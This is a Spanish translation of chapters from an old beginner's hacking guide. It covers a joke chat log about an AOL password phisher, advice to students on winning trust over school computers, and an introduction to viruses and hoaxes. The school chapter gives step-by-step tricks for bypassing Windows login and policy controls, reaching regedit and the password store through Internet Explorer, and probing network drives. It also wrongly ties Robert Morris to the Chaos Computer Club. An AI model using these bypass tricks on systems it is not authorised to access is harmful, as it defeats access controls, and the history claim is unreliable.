Aquí tienes una buena forma de comprobar la validez de las ofertas para dejar que cualquiera asalte un ordenador. Obtén el nombre de dominio del ordenador objetivo, en este caso obscure.sekurity.org. Añade "root@" al nombre del dominio, por ejemplo: root@obscure.sekurity.org. Envía un correo electrónico al propietario del ordenador. Pregúntale si he mentido sobre su oferta. Si te dice que lo he hecho, díle que es un gallina, que si fuera un hacker de verdad debería estar feliz de tener cientos de novatos sin idea ejecutando Satan contra su ordenador. Sólo bromeaba. :)

En realidad en este caso deberías enviar un correo electrónico a info@security.org para obtener más detalles sobre la oferta de Damien de consentir a todos sin excepción asaltar su ordenador. También, por favor, sed buenos chicos y atacad fuera de horas (está en el huso horario MDT de Estados Unidos, el de las Rocosas), de forma que pueda usar obscure.security.org para otras cosas durante el día.

También Damien solicita que "si tú (o cualquiera) quieres intentar asaltar obscure, por favor, envía un correo electrónico a root@security.org indicando lo que estás haciéndole y de qué dominio provienes. De esta forma podré distinguir los ataques de prueba de los ataques de verdad."

Todos debemos darte las gracias, Damien, por proporcionarnos un objetivo legal para todos los lectores de este Guía para comprobar nuestros conocimientos de cracking.

Así que asumamos que has elegido un ordenador objetivo legal para intentar asaltarlo. ¿Qué? ¿Algunos chicos dicen que es muy difícil asaltar un ordenador asegurado como obscure.sekurity.org? ¿Dicen que es más divertido asaltar un ordenador cuando están violando la ley? ¿Dicen que para ser un Hacker De Verdad debes correr destrozando los ordenadores de las acobardadas masas que hay en Internet? ¡Ja, ja, sendmail 4.0! Qué perdedores, dicen. Seguro que le enseñaron una lección a esos petimetres de sendmail 4.0, ¿verdad?

Yo creo que esos crackers que van buscando ordenadores vulnerables y asaltándolos son como alguien que entra en un bar y escoge la chica (o chico) más borracha y fea del lugar. Vaya, seguro que todos estamos impresionados.

Si quieres ser de verdad un cracker de élite, sin embargo, deberás limitar tus incursiones a ordenadores cuyos propietarios consientan tus exploraciones. Esto puede -¡debe!- incluir tu propio ordenador.

De manera que, con esto en mente, aquí va lo básico sobre el asalto de ordenadores.

Hay un sorprendente número de formas de asaltar ordenadores.

La forma más sencilla es utilizar la ingeniería social para conseguir una vía de entrada. Esto generalmente implica mentir. Aquí hay un ejemplo:

De: Lista de Humor de Oracle <oracle-list-return-@synapse.net>
Asunto: HUM: Contragolpe contra un hacker de AOL (***)

Lee la magistral respuesta dada a un hacker por Newfpyr. ¡Ciertamente uno de las mejores historias absurdas que nunca hemos recibido! Los comentarios de Newfpyr están entre paréntesis.

Zabu451: ¡Hola desde America Online! Siento informarle de que ha habido un error en la sección de entrada/salida de la base de datos de su cuenta, y la información sobre la clave de acceso de este servidor ha sido temporalmente destruida. Necesitamos que usted, usuario de AOL, responda a este mensaje y escriba su clave de acceso. Gracias por su ayuda.

Newfpyr: ¡Hola! Aquí el Administrador de Servidores número 563. Siento oir que su servidor ha perdido la información de las claves de acceso. Esto ha estado sucediendo mucho últimamente. Hemos desarrollado algunas soluciones a este problema. ¿Tiene el mensaje enviado a todos los administradores de servidores?

Zabu451: no

NewfPyr: ¿De verdad? Vaya. Ha habido algunos problemas con el servidor de correo últimamente. Bueno. Aquí está la solución a este problema: intente conectar su copia de seguridad de la base de datos a su puerto principal de entrada/salida, y después acceda al reinicio del sistema.

Zabu451: no, todavía necesitaré para eso las claves de acceso.

NewfPyr: Veamos. ¿Quiere que le envíe la lista de todas las claves de acceso de todas las pantallas de su servidor?

Zabu451: sí, quiero eso.

NewfPyr: Déjeme pedirle al administrador de servidores que lo envíe... Dice que necesito la clave de acceso de su administrador de servidores. ¿Puede teclearla, por favor? Zabu451: no tengo ninguna

NewfPyr: ¿Qué quiere decir con eso? ¡Es lo primero que le dan a un administrador!

Zabu451: fue borrada

NewfPyr: ¡Vaya! Debe estar teniendo un montón de problemas. Déjeme averiguar qué servidor está usando...

[Nota: Comprobé su perfil. Decía que el era de Springfield, Massachusets.]

NewfPyr: De acuerdo, hemos rastreado su número hasta un lugar en Springfield, Massachussets.

Zabu451: ¿¿¿¿¿¡¡¡¡Cómo lo sabe!!!!????

NewfPyr: He usado Server Tracker 5.0 . ¿No lo tiene?

Zabu451: ¿¿¿¿¡¡¡¡Conoce mi dirección!!!!????

NewfPyr: Por supuesto que no.

Zabu451: Bien.

NewfPyr: Sólo conozco el número desde el que está llamando a AOL, que es desde su servidor ¿verdad?

Zabu451: sí.

NewfPyr: Bien. De acuerdo, ahora que tenemos su número, tenemos su dirección y enviaremos un equipo de reparación para allá.

Zabu451: nonononono deténgalos inmediatamente.

NewfPyr: ¿Por qué? ¿No está su servidor caido?

Zabu451: nonono ahora está funcionando.

NewfPyr: De todas formas irán para allá, por si acaso.

Zabu451: DETENGALOS AHORA.

NewfPyr: No puedo interrumpir el procedimiento de AOL. Zabu451: ¿¿¿¿¡¡¡¡VA A VENIR GENTE A MI CASA!!!!????

NewfPyr: ¡No! A su servidor. Ya sabe, desde donde está llamando a AOL. Zabu451: Estoy llamando desde mi casa.

NewfPyr: ¡Pero usted dijo que estaba llamando desde el servidor!

Zabu451: Mentí; no soy realmente uno de los chicos de los servidores.

NewfPyr: ¡Pero dijiste que lo eras!

Zabu451: Mentí, intentaba obtener contraseñas, por favor párelos.

NewfPyr: Vale. El equipo de reparaciones ya no va a ir.

Zabu451: bien.

NewfPyr: Pero un equipo de agentes del FBI sí que va a ir.

Zabu451: NO NO NO NO.

Zabu451: Lo siento.

Zabu451: Nunca volveré a hacerlo, por favor deténgalos, no les deje venir. ¡¡POR FAVOR, NO VOLVERÉ A PEDIR CONTRASEÑAS NUNCA MÁS, POR FAVOR, DETÉNGALOS!!

NewfPyr: Lo siento. No puedo hacerlo. Estarán en tu casa en 5 minutos.

Zabu451: LO SIENTO. HARÉ CUALQUIER COSA, POR FAVOR, NO QUIERO QUE ME HAGAN DAÑO. POR FAVOR. POOOOOOOOOR FAAAAAAAAVOOOOOOOOOR.

NewfPyr: ¡No te van a hacer daño! Probablemente solo pasarás un año en la cárcel.

Zabu451: No, SOY SOLO UN CRíO.

NewfPyr: ¿En serio? Entonces es otra cosa. No estarás en la carcel un año.

Zabu451: Eso pensaba yo.

NewfPyr: Estarás dos años.

Zabu451: ¡No! LO SIENTO. POR FAVOR, DETÉNGALOS. POR FAVOR.

[Pensé que ya era suficiente. Probablemente ya habría mojado los pantalones].

NewfPyr: Puesto que es la primera vez, creo que puedo retirar los cargos.

Zabu451: Sí, graciasgraciasgraciasgracias.

NewfPyr: Los agentes del FBI han dado la vuelta. Si lo vuelves a hacer te machacaremos.

Zabu451: No lo volveré a hacer, lo siento, adiós.

[Desconectó inmediatamente.]

Una de las RARAS RARAS ocasiones en que realmente hemos sentido pena por el hacker. ¡VEINTICINCO PUNTOS para ti, NewfPyr! Todavía estamos riéndonos. Un montón de gracias.

Enviado por:: Fran C. M. T. @ aol.com (¿Quieres más de este tipo de humor en la yugular? Echa un vistazo a

http://www.netforward.com/poboxes/?ablang)

 

Como ser un héroe en la clase de informática


Fueron a buscar a Daniel Gilkerson en mitad de clase. Él sabía por qué. Él era el hacker de élite de la escuela.

Pero a Daniel no le importaba. Supuso que serían buenas noticias, y tenía razón. Habían venido para pedirle ayuda con el sistema informático del Instituto de Enseñanza Secundaria de Río Rancho. Setecientos ordenadores y todos ellos con conexión a la red.

En unos días, había encontrado un simple truco que era la clave para desactivar todos los Win95 en su sistema NT server. En el arranque, cuando aparece la pantalla de login, no introduzcas la password. Mantén pulsada la tecla control y pulsa la tecla escape (o, si el ordenador tiene alguna otra tecla abreviada, púlsala). Esto abre la ventana de tareas. Haz click en "ejecutar" y podrás ejecutar cualquier programa en ese ordenador. Puedes editar y librarte de algunos controles, incluyendo el editor de políticas del sistema, que supuestamente controla qué programas pueden ejecutar los estudiantes.

Probablemente habrás oído hablar acerca de muchos chavales que se meten en grandes problemas por practicar hacking con los ordenadores de las escuelas. Sin embargo otros, como Daniel, también son hackers, pero terminan siendo héroes. ¿Dónde está la diferencia?

En este capítulo aprenderás cómo:

Este capítulo te dará algunos consejos para demostrar lo bueno que eres, y a veces incluso mostrar a tus profesores alguna cosa o dos de hacking. Lo mejor de todo, este capítulo te puede ayudar ser otro hacker célebre para tus profesores.

Pero me sentiría realmente mal si alguien fuera a usar los consejos de este capítulo para arruinar su vida.


Advertencia: Podéis arruinar vuestra vida. En la mayoría de los países los chavales no tienen ni por asomo la protección legal que tienen los adultos. Si te asocias con una pandilla de hackers en el colegio y os pillan, podéis ser fácilmente expulsados del colegio o incluso arrestados. Aunque las autoridades no tengan buenas pruebas de vuestra culpabilidad. Y aunque seáis inocentes. ¡Arghhh!


La primera tarea de este capítulo es, entonces, cómo encontrar profesores que quieran jugar a juegos hacker contigo y darte libre acceso al sistema informático del colegio. ¿Cómo?, dirás. ¡Esto es una cuestión de ingeniería social! Pero de hecho eso no es lo difícil.

Coyote sugiere, "en muchos casos podrás darte cuenta de que si te muestras responsable (por ejemplo, no comportándote como un imbécil en clase y no practicando hacking para ser un tío enrollado) te será más fácil ganar la confianza del profesor y posteriormente ganarte un trabajo ayudando con los sistemas. Y una vez que hayas alcanzado este nivel tienes casi garantizado que sabrás más sobre la administración del sistema, y por supuesto sobre hacking, que si simplemente te metes a la fuerza.

Esto es lo primero que necesitas recordar. Tus profesores trabajan demasiado. Si les cabrean los hackers, es porque los hackers suelen romper cosas. ¿Quién crees que tiene que quedarse hasta tarde en el trabajo arreglando los estropicios que los estudiantes hicieron cuando armaron con los ordenadores del colegio? Correcto, normalmente son tus profesores de Informática.

Piensa en ello. A tus profesores de Informática les gustaría mucho la idea de disponer de tu ayuda en su trabajo. El problema es, ¿se atreverán a confiar en tí?

Karl Schaffarczyk cuenta: "Casi me echaron del colegio (hace muchos años) por lanzar una ventana DOS en un sistema que estaba protegido contra ciertas cosas. ¿Sólo por lanzar una ventana DOS? Pero el problema es que tus profesores se esfuerzan en configurar los ordenadores del colegio de modo que puedan ser utilizados para enseñar en las clases. En el momento en que se dan cuenta de que sabes cómo ir al DOS, saben que podrías cargarte cosas, y que tendrán que perder una noche de sueño dejando ese ordenador como estaba. Los profesores odian quedarse levantados toda la noche. ¡Te lo aseguro!".

Así, si realmente quieres llegar a una situación en la que te conviertas en el héroe de los ordenadores de tu escuela, ¡que no te pillen al empezar!. No empieces diciéndole a tu profesor, "¡Mira qué facil es abrir una ventana DOS!". Recuerda, algunas autoridades te echarán inmediatamente fuera de la escuela o llamarán a la policía.

Honestamente, la mayoría de la gente teme a los hackers adolescentes. Y no puedes realmente echarles la culpa a ellos, una vez leas estas historias. Aquí hay algunos ejemplos de hechos que las autoridades de tu escuela probablemente han leído.

- 13 de FEBRERO de 1997 Según se ha informado, hay hackers que están usando servidores en la Universidad de Southampton para hacer circular mensajes amenazantes que... enseñan a los destinatarios a cancelar tarjetas de crédito, afirmando que su seguridad ha sido rota.

(c) VNU Business Publications Limited, 1997

NETWORK NEWS 7/5/97 P39 Un adolescente fue multado con 350 dólares por paralizar las centrales de conmutación telefónicas de Estados Unidos... El desconocido adolescente hizo cerca de 60000 llamadas...

(C) 1997 M2 Communications Ltd.

TELECOMWORLDWIRE 6/5/97

WORLDCOM, en el Reino Unido, sufrió recientemente un fallo en sus sistemas debido a un ataque de hackers...

(C) 1997 M2 Communications Ltd.

TELECOMWORLDWIRE 6/5/97

Espeluznante, ¿eh? No es sorprendente que hoy en día algunas personas tengan tanto miedo de los hackers que nos echan la culpa de la mayor parte de las cosas. Por ejemplo, en 1997, las autoridades de una base naval, al principio dijeron que unos atacantes usaban ondas de radio de gran energía para explicar el que unas pantallas de ordenadores quedaran bloqueadas. Después, los investigadores comprobaron que eran los radares de los barcos, y no los hackers, lo que estaba bloqueando los ordenadores.

De modo que en vez de ser malo con los profesores que tienen miedo de los hackers, dáles un descanso. Los medios están inundándoles con terroríficas historias. Y además probablemente han perdido mucho tiempo arreglando enredos hechos por críos hackers. Tu trabajo es demostrarles que tú eres un buen chico. Tu trabajo es demostrarles que puedes mejorar su vida si te dan libre acceso a los ordenadores de la escuela.

Esta misma técnica básica también funcionará con tu ISP. Si te ofreces a ayudar gratuitamente, y si les convences de que eres responsable, puedes conseguir un acceso de root (o administrativo) a casi todos los sistemas de ordenadores. Por ejemplo, un día estuve hablando con el propietario de un ISP que se quejaba de la inmensa cantidad de trabajo que tenía. Le dije que conocía a un estudiante de instituto de segundo curso que había sido expulsado por practicar hacking pero que se había reformado. Este tipo, prometí, podría trabajar gratis a cambio de las passwords de root de uno de sus ordenadores. Al día siguiente hicieron el trato.

De modo que inténtalo. Busca a un profesor que esté hasta arriba de trabajo. O a un propietario de un ISP. Ofrécete a demostrarle que sabes suficiente para ayudarle a encargarse de esos ordenadores.

Pero, ¿cómo puedes demostrar que sabes suficiente para hacer el trabajo?

Si empiezas diciéndole a tu profesor de Informática que sabes cómo introducirte en los ordenadores del colegio, algunos profesores se pondrán nerviosos y te echarán del colegio. Si tu profesor es de los que se asustan con todas esas historias de hackers de las noticias, ¡no empieces hablando sobre cómo entrar por la fuerza! En vez de eso, empieza por enseñarles, con su permiso, algunos truquitos.


Truquitos de Internet Explorer


Un buena forma de comenzar es con Internet Explorer.

¿Qué puede ser más inofensivo y efectivo para lucir tu talento que cambiar los logos animados de Internet Explorer o Netscape?

Podrías hacerlo de una manera fácil con Microangelo, disponible en ftp://ftp.impactsoft.com/pub/impactsoft/ma21.zip. Pero como eres un hacker quieres impresionar a tus profesores haciéndolo a la manera hacker.

1.      Abre el Paint.

2.      Haz click en "Imagen", después en "atributos".

3.      Elige ancho=40, alto=480, unidades en pixels.

4.      Haz series de dibujos, cada 40x40 pixels. Una manera de hacer esto es abrir un nuevo dibujo por cada uno que necesites hacer y poner los atributos en ancho=40 y largo=40. Entonces corta y pega cada uno en la imagen de 40x480.

5.      La primera imagen de 40x40 de arriba será la que salga cuando IE no esté haciendo nada. Las siguientes tres aparecen cuando una descarga comienza, y el resto se muestran en bucle hasta que la descarga está terminada. Debes tener un número par de imágenes para que esto funcione.

6.      Ahora ejecuta el editor del registro. Busca las instrucciones en el capítulo 1.

7.      Busca la subclave "HKEY_CURRENT_USER\Software\Microsoft\IE\Toolbar"

8.      En la barra de herramientas de arriba, haz click en "Editar", "Buscar". Escribe "Brandbitmap" en el apartado Buscar.

9.      Ahora haz doble click en Brandbitmap, y se abrirá una una ventana de diálogo. Escribe el directorio y el nombre de fichero de tu gráfico personalizado.

Bueno, digamos que tienes una calavera llameante que rota cuando ejecutas IE. Tu profesor está impresionado. Ahora querrá que lo dejes como estaba antes. Es fácil. Sólo abre BrandBitmap, y borra el nombre de tu fichero de animación. El explorador de Windows automáticamente recuperará el gráfico indicado en Backbitmap.

Mostrémosle ahora a tu profesor algo un poco espeluznante. ¿Sabías que con Internet Explorer (IE) puedes saltarte algunos programas-niñera? Tu escuela podría estar usando uno de ellos. Si lo haces bien, podrías ganar puntos cargándote ese programa-niñera.

Sí, podrías cargarte esos programas-niñera usando los consejos del Capítulo 2. Pero veremos una nueva manera de saltárselos en este capítulo, usando IE. La ventaja de usar IE cuando tu profesor te está vigilando ansiosamente por encima del hombro es que podrías navegar "accidentalmente" en algún sitio tranquilo, en vez de parecer un peligroso hacker. Entonces podrías mostrar lo que sabes para aprovechar los fallos de seguridad.

Además, si resulta que el programa de seguridad que estás tratando de saltarte está lo suficientemente bien escrito como para evitar que el IE lo rompa, no parecerás un pardillo.


Truco para genios malignos: La gente te teme menos si tecleas leeeeeentameeeeeeeenteeeeee.


El secretillo está en que IE es en realidad una shell de Windows. Eso significa que es una alternativa al escritorio de Windows 95. Desde IE puedes lanzar cualquier programa. IE se parece mucho al Administrador de Tareas y al Explorador de Windows que vienen con los sistemas operativos Win95 y Win NT.

Sí, desde la shell de IE puedes ejecutar cualquier programa en tu ordenador a menos que el programa de seguridad que estás tratando de saltarte se haya anticipado a este ataque. Con un poco de ingenio podrías ser capaz incluso de controlar la LAN de tu escuela. ¡Pero no lo intentes todavía!.


Nota para principiantes: Una shell es un programa intermediario entre el usuario y el sistema operativo. Lo gordo de que IE sea una shell de Windows es que Microsoft nunca se lo contó a nadie. Los problemas de seguridad de los que está plagado IE son en su mayoría consecuencia de que sea una shell. Por contra, los navegadores Netscape y Mosaic no tienen unas shells tan potentes. Esto los hace más seguros.


Pero todavía puedes hacer cosas interesantes con ellos para entrar por la fuerza en una ventana de Windows95. ¡Experimenta y pásatelo bien!


Truco para genios malignos: ¿Utiliza la red de tu colegio NT server? Ninguno de los trucos de este capítulo funcionará si han editado Directivas. Pero como vimos arriba, puedes saltarte el Editor de Directivas.


Para utilizar IE como una shell de Windows 95, ábrelo como si fueras a navegar por la red. Si tu ordenador está configurado para iniciar automáticamente una conexión a Internet, puedes desconectar. No necesitas estar conectado para esto.

Y ahora, algunas sugerencias divertidas. En el lugar donde normalmente escribes la URL que quieres ver, escribe c: .

Ja!, mira todas esas carpetas que han salido en la pantalla. Ahora por diversión Abre "Archivos de programa", luego "Accesorios", "Paint". De repente, se abre Paint. Ahora dibuja a tu profesor, que estará mirando este hack sorprendido.

Lo siguiente es cerrar todo ese lío y volver a la ventana de URL en IE. Abre la carpeta Windows, y haz doble click en regedit.exe para iniciarlo. Exporta el archivo de contraseñas (está en HKEY_CLASSES_ROOT). Ábrelo con Word Pad. Recuerda, la habilidad de controlar el Registro de un servidor es la clave para controlar la red que sirve. Muéstrale esto a tu profesor y díle que vas a usar IE para cambiar todos los archivos de contraseñas de la escuela. En unas pocas horas el Servicio Secreto estará peleándose con el FBI en tu jardín delantero para ver quién te detiene. Vale, sólo bromeaba.

No, quizás sea un poco mejor decirle a tu profesor que si puedes editar el registro, puedes conseguir el control total en ese ordenador. Y quizá mucho mas. Sugiérele que el colegio desinstale IE de todos sus ordenadores. Estás camino de convertirte en un héroe.

Si realmente editas el Registro, deberías saber cómo restaurar la copia de seguridad, o si no, deshacer tus cambios. De otro modo estarás dándole más trabajo al profesor de Informática. Recuerda, ¡el objetivo es demostrar a tus profesores que puedes ahorrarles mucho trabajo!.

Qué pasa si el programa-niñera no te deja ejecutar regedit.exe? Intenta teclear c:/command.com y mira el capítulo 2 para saber cómo editar el registro desde DOS.

Si has conseguido esto con IE, intenta introducir r:/ o w:/ o z: etc., para ver si puedes acceder al disco de un servidor de red. Asegúrate de hacer esto con tu profesor mirando y con su permiso para intentar acceder a los ordenadores de la red. Si te sale bien, ahora tienes una buena razón para pedirle que quite IE de todos los ordenadores de la escuela. Esto es porque te acabas de apropiar de toda la LAN del colegio. Pero eres un héroe porque lo has hecho para proteger a tu colegio de esos chiquillos hackers que cambian calificaciones y asignaciones de clases.

Ahora ya tienes bastantes posibilidades de conseguir un trabajo de voluntario manejando el sistema informático del colegio. Antes de que te dés cuenta, tú y tus amigos estaréis jugando abiertamente al Quake en el colegio y las autoridades lo considerarán un pequeño precio a pagar por tu sapiencia.

 

 

Virus informáticos (I)


Es sábado por la mañana. Arrancas tu ordenador Windows 98 y los iconos del escritorio son una imagen simétrica de lo que debían ser. ¡Enhorabuena!, ¡tienes un virus en tu ordenador!.

Según "Virus Bulletin", la revista técnica del condado de Oxford, Inglaterra, que hace un seguimiento de los virus, este nuevo virus invierte horizontalmente cualquier bitmap no comprimido, pero sólo los sábados. Este boletín acredita a GriYo, del grupo creador de virus "29A", como el autor de este virus polimórfico de 32 bits para Windows, ahora conocido como HPS (Hantavirus Pulmonary Syndrome).

Panda Software ha anunciado que tiene el antídoto contra HPS. Mientras, otras compañías antivirus se apresuran para crear un antídoto contra este virus de Windows 98.

Hasta aquí HPS parece ser, como muchos virus, inofensivo y gracioso. Según el libro "Computer Viruses" de Robert Slade (Springler, 1996), "La verdad es que relativamente pocos virus hacen daño ostensible a un sistema". Sin embargo, sin importar lo inofensivo que pueda parecer un virus, la gente está preocupada porque puedan hacer algo más, tal vez algo tipo "Viernes 13" o, quién sabe, "Uno de Enero de 2000". Incluso aunque GriYo tuviese las mejores intenciones, la gente se preocuparía por el daño accidental que un error oculto en algún lugar de HPS pudiera causar.

Hablemos claro: hazte creador de virus y puedes llegar a tener bastante mala reputación, sin importar lo inofensivo, gracioso o hasta beneficioso que creas que podría ser tu virus. A la gente no le gusta tener programas en sus ordenadores que ellos no han decidido ejecutar.

En esta Guía aprenderás:

Primera Parte:

Segunda Parte:




Una de las cosas simpáticas acerca de la reciente escalada en los delitos informáticos es que los medios de comunicación ya no provocan tanto alboroto hablando de virus. Sin duda (los virus y los medios) pueden ser una incomodidad. Sin embargo, con todos esos programas antivirus a los que acudir, y con casi todo el mundo entendiendo la importancia de tener copias de seguridad, los virus no son un gran problema, ¿no?

"Los virus no son un gran problema" ¿Un famoso epitafio? Los virus digitales pueden ser el primer estado de vida artificial. Pensad en esto: ¿estamos listos para compartir el planeta con la vida artificial? ¿Encontraremos medios de coexistencia pacífica, tal y como hemos aprendido a disfrutar de los leopardos, leones y lobos de forma segura? ¿Se convertirán los virus en una forma de vida beneficiosa que ponga fin a la pobreza y la guerra, ayudándonos a entender el significado de la vida en sí misma y hasta arrojar luz sobre la naturaleza de Dios? ¿O quizás podría un desarrollador de virus crear un código que destruyera la raza humana? O... tal vez vosotros, lectores, acabéis hasta el gorro de mi propaganda vírica y me bombardeéis con mensajes de protesta para que me calle.


¿Qué es un virus informático?


En 1988 Internet se bloqueó por el "Gusano de Morris", un programa que se replicaba a sí mismo, programado por Robert Tappan Morris, del Chaos Computer Club. Se aprovechaba de debilidades de "sendmail" y "finger" para introducirse y propagarse de una computadora Unix a otra. Cuando llevaba infectado únicamente el 10% de los servidores, ya había atascado líneas esenciales de comunicación de Internet, ya que el gusano iba distribuyendo cada vez mas copias de sí mismo. Pero muchos informáticos dicen que no se debería llamar "virus" al "Gusano de Morris".

Antes de que el primer virus fuese creado, en 1984, el Dr. Fred Cohen escribió su tesis doctoral sobre el tema (publicada en su libro "Computer Viruses", ASP Press, 1986). Por ello, se dice que Cohen fue el primero en concebir su existencia. Es importante recordar que Cohen está EN CONTRA de los virus. No los inventó, pero fue el primero en prever que podían ser creados, y en advertir del daño que podrían causar. Los puristas mantienen la definición de virus que aparece en la tesis de Cohen: un virus informático es un código que, cuando se activa, se añade a sí mismo a otros programas. Sin embargo, mucho antes de que el Dr. Cohen detallara las características de los virus, el matemático John von Neumann probó que una máquina de Turing (una representación matemática de un ordenador de un solo procesador) es capaz de contener un "constructor universal" que, si se le proporciona un programa que contenga su propia descripción, es capaz de reproducirse a sí mismo. El "constructor universal" de von Neumann cubre no sólo la definición de Cohen de virus informático, sino también a todo programa que se autorreproduzca, como el gusano de Morris.

¿Te están mareando todas estas definiciones? A mí también. Por tanto, he decidido en esta Guía usar la definición propuesta por el investigador de virus Dr. Mark Ludwing. Él define un virus informático como "un programa que se reproduce. Cuando se ejecuta, simplemente hace copias de sí mismo. Estas copias pueden ser luego ejecutadas para crear aún más copias y así hasta el infinito". Esta definición es suficientemente amplia como para incluir al "Gusano de Morris".


Nota para principiantes: Ejecutar un programa significa ponerlo en marcha. Como un programa es simplemente un archivo, no hace nada. Sin embargo, cuando se hace algo para suministrar los datos de un archivo a la CPU de una computadora, de forma que se le "ordena" hacer algo, decimos que el programa ha sido "ejecutado".


Cada virus consta al menos de dos partes. Debe contener una rutina de búsqueda que le permite encontrar nuevos ficheros, discos u ordenadores en los que replicarse. También debe tener una rutina que se copia a sí mismo en esos nuevos ordenadores que la rutina de búsqueda encontró.

Muchos virus contienen también una autodefensa que les permite esconderse o hasta luchar contra los programas antivirus. Algunos, como el HPS, contiene un mensaje inofensivo o una broma. El virus Stoned (Colocado) lanza el mensaje: "Your computer is now stoned" ("Tu computadora está ahora colocada"), junto a ocasionales mensajes pidiendo legalizar la marihuana.

Desafortunadamente, algunos virus hacen cosas dañinas. A menudo el daño es accidental, pues pocos programadores desean lastimar a alguien. Robert Tappan Morris no tenía intención de tumbar Internet con su Gusano. Cada gusano en solitario era inofensivo. El problema ocurrió porque se multiplicaron más rápido de lo esperado.

También hay algunos pocos -muy pocos- que intencionadamente hacen mal uso de sus talentos como programadores para liberar destructivos virus en el mundo.


Tipos de virus


Existen varios tipos fundamentales de virus:




Actualmente el tipo más común de virus son los virus de macros. Un ejemplo reciente de virus de macros es el WM/PolyPoster. Este virus esperará hasta que te conectes (a Internet) y enviará tus documentos infectados a "alt.sex.stories" y otros grupos de noticias importantes de Usenet, bajo el título de "Important Monica Lewinsky Info". Para más detalles, ver:

http://www.datafellows.com/news/pr/eng/fsav/19980618.htm y http://www.datafellows.com/v-descs/agent.htm.


¿Por qué estudiar -y crear- virus?


"The Giant Black Book of Computer Viruses" de Ludwig (American Eagle Press, 1995) argumenta: "¿No deberíamos ser como Sócrates, que buscó la Verdad y la Sabiduría?... la pregunta que realmente importa no es cómo los ordenadores pueden hacernos más ricos o poderosos, sino cómo pueden hacernos más sabios. ¿Qué podemos aprender sobre nosotros? ¿Sobre el mundo? Y por qué no, ¿sobre Dios? ¿No podríamos entender un poco mejor la vida si creamos algo similar, la estudiamos y tratamos de entenderla?".

Algunos investigadores buscan cómo encontrar nuevos métodos para derrotar a los programas antivirus, porque creen que el mejor medio de diseñarlos es mantenerse un paso por delante de la diminuta minoría de escritores de virus que lanzan código dañino. ¿Realmente confías en un programa antivirus como tu única defensa? Sí, estos programas pueden ser realmente útiles. Sin embargo, si eres un hacker serio que baja y prueba muchos programas de Windows (casi todos estos virus atacan Windows), debes estar preparado para luchar contra virus de los que las compañías de antivirus nunca han oído hablar.

Otros investigan virus porque pueden ser potentes armas en tiempos de guerra. La historia de un virus que fue lanzado contra Iraq durante la Guerra del Desierto es una patraña del Día de los Inocentes que se fue de las manos. Pero llegará el día en que puedan ser usados en guerra.

Si vives en un país donde el gobierno ha sido ocupado por una dictadura o tropas invasoras, los virus pueden ser la mejor arma de los guerrilleros.

Algunos diseñadores de virus quieren crear formas de vida artificial que -para bien o para mal- revolucionen la historia.


Cómo cazarlos


¿Has recibido algún mensaje como éste de un amigo?:

¡¡¡Virus de Internet!!! ¡¡¡Advertencia!!!

Hola,

Por favor reenvíe este mensaje.

Correos con el título JOIN THE CREW & PENPALS GREETINGS destruirán todos los datos de tu disco duro cuando los abras.

Estos virus llamados CABALLOS DE TROYA infectan el sector de arranque. Pueden autoduplicarse. Debes destruirlos, NO LOS ABRAS.

Después de una semana más o menos, probablemente recibirás el mismo mensaje de nuevo y así sucesivamente, cada vez ligeramente cambiado:

¡¡¡VIRUS!!! ¡¡¡CUIDADO!!!

Si recibes un mensaje titulado "JOIN THE CREW" NO lo abras. Te borrará todo el disco duro.

Reenvía esta carta a tantas personas como puedas. Este es un nuevo virus muy dañino y poco conocido. Esta información fue distribuida ayer por la mañana por IBM; por favor, comparte esto con todos los que puedan acceder a Internet...

Este "Join the crew" es otro ejemplo del tipo de mensajes que advierten de un virus de correo electrónico titulado "Good Times." En 1994-95 las primeras advertencias de virus cruzaron Internet con sorprendente velocidad y persistencia. Algunas personas recibían advertencias todos los días. Hasta reputados administradores de sistemas enviaron la advertencia a todos sus usuarios. Good Times no existía. Es imposible infectarse por un virus sólo por leer un mensaje. Se debe ejecutar un programa para infectarse. Es cierto que hay virus de macros que infectan los documentos de Microsoft Word (MS Word). Se replican cuando simplemente abres el documento en MS Word. Sin embargo, las macros son programas que se ejecutan cuando abres un documento, pero sólo cuando lo abres en MS Word. Desgraciadamente, esta "ventaja" de MS Word ha sido la causa de que ahora los virus más comunes sean los virus de macros.

Esto dejó de ser cierto después de la aparición de BubbleBoy, un virus de script de MS Outlook. Existen especialistas que diferencian los virus de macros y los de script.

Sin embargo, el correo electrónico está estructurado de manera que las macros no pueden, en absoluto, estar en los mensajes. Si alguien quiere enviarte una macro, siempre irá en un fichero adjunto al correo. Siempre que evites abrir los archivos adjuntos con programas que ejecuten macros, como MS Word, estás a salvo.

Algunas personas consideran que las advertencias falsas de virus de correo son en sí mismas virus. Tienen una rutina de búsqueda: la petición de enviar el correo a todos tus conocidos. El mecanismo de copia eres tú, si eres lo suficientemente tonto como para reenviar estas advertencias a otras personas.

Por tanto, ¿cómo se infecta un ordenador? Debes ejecutar siempre un programa vulnerable asociado con el código del virus. En el caso del Gusano de Morris, todo lo necesario era poner el ordenador como servidor de Internet. Los servicios de "sendmail" y "finger", que se ejecutan discretamente en segundo plano, eran los programas activos que distribuían el Gusano. En el caso de las macros de MS Word, el acto de leer un documento activa una macro que replica el virus. En el caso de los virus de boot sector, sólo poner un floppy en la disquetera y ejecutar un comando para ver qué hay en el disco, propaga el virus.


Como combatirlos


Es posible que seas una de esas personas que saluda a cada programa no deseado con el grito de: "¡SACA ese @#$@#$% virus de mi ORDENADOR!" Si es así, ¿cuál es el mejor método de evitar la infección? Una vez infectado, ¿cuál es la forma de sacar al @#$@#$% virus?

Hay un buen número de antivirus comerciales que automáticamente buscan virus todos los días cada cierto tiempo, así como cada vez que arrancas el ordenador. También comprueban el sector de arranque de cada floppy cuando lo metes en la disquetera y tratas de leerlo. Yo uso Norton Antivirus con buenos resultados; otros dicen que McAffee trabaja bien. El Dr. Ludwig dice que todos los antivirus funcionan igual de mal. Por supuesto, siempre los está probando contra los más asombrosos, truculentos y excitantes virus del mundo, la mitad de los cuales los ha escrito él mismo. Por tanto, es comprensible que no esté impresionado.

Aprendí por las duras que la forma equivocada de obtener un antivirus es mediante un diskette que te pase un amigo. ¡Lo probé una vez y me entró un virus nuevo a través del floppy en lugar de librarme de mi viejo virus! El disco estaba infectado por un virus del sector de arranque. Así que antes de que leyese el programa de mi amigo, en el momento en que accedí al directorio del disco, mi máquina quedó infectada. Este nuevo virus tenía el efecto colateral de deshabilitar el programa antivirus.

